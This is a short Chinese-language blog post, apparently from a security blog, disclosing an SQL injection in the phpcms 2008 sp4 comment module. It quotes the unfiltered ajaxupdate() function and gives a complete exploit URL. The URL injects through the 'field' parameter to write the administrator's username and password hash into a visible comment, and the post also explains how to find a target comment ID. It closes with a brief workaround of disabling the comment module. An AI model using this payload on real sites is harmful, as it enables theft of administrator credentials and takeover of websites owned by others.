影响版本: phpcms 2008 sp4
官方地址:www.phpcms.cn
漏洞描述:
问题出在/comment/include/comment.class.php中关于function ajaxupdate($field, $id)的定义:
程序59行开始:
function ajaxupdate( $field, $id )
{
$sql = “UPDATE $this->_comment_table SET {$field} = {$field} +1 WHERE `commentid` = ‘$id’ “;
$this->db->query($sql);
$sql2 = “SELECT {$field} FROM $this->_comment_table WHERE `commentid` = ‘$id’ “;
return $this->db->get_one($sql2);
}
在这个地方是没有过滤直接update进数据库的,因为牵扯到单引号的问题,所以不从$id去考虑代码注入,而对$field进行代码注入即可,网上流传的EXP也是不需要考虑单引号问题的。
因为紧接着还有一个select,所以程序页面会给出报错,但是前面的update已经成功执行了。
看看调用此函数的地方,在comment.php页面:
程序13行开始:
switch ( $action )
{
case ‘vote’:
$count = $comments->ajaxupdate($field, $id);
echo ‘ ‘.$LANG[$field].’(‘.$count[$field].’)';
break;
直接放入了www.webshell.cc ajaxupdate()函数中,导致代码执行。
exp: /comment/comment.php?action=vote&field=content%3D(select+concat(username%2C0x3a%2Cpassword)+from+phpcms_member+where+groupid%3D1+limit+1)+where+commentid%3D123%23
执行后重新查看对应的评论页面即可。
commentid的获得方式:在显示评论页面中,鼠标移到“回复”,看状态栏就OK了。
官方目前好像还没有响应,临时修补方式:关闭评论模块,并将评论文件夹改名,等待官方补丁。或者自己对ajaxupdate()做一下简单的修改

转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/1093.html